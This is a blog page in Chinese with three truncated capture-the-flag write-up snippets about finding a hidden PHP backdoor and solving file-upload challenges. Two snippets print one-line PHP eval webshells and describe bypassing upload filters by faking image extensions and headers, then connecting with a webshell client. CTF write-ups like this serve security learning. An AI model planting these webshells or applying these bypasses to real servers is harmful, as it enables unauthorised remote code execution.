qq_53175607的博客

1.下载并解压文件。 2.右击文件夹选择火绒进行杀毒（其它杀毒软件都可以） 3.点击详情 4。打开文件夹位置 5.使用记事本或者php编译工具打开文件。 flag{6ac45fb83b3bc355c024f5034b947dd3}

1.打开题目，先上传一句话木马试试。 <script language='php'>@eval($_POST['love']);</script> 按照传统方法，现将一句话木马利用windows文件后缀识别的特点，将后缀名改为图片后缀名。 上传，抓包改包！ 改为phtml后缀 上传成功，构架url用蚁剑连接。 http://5081ca11-6534-49bf-8f3b-94c45fc9946e.node4.buuoj.cn:81/uplo4d/38a64fe21fe9be

1.打开后发现是文件上传题 构建一句话木马 <?php @eval($_POST['shy']);?> 将一句话木马改成jpg文件尝试上传。 抓包改成php 提示文件包含<?,那么我们有思路了，上传图片的时候还扫描了图片头，将一句话木马加图片头 2.然后和一步骤一样上传 ...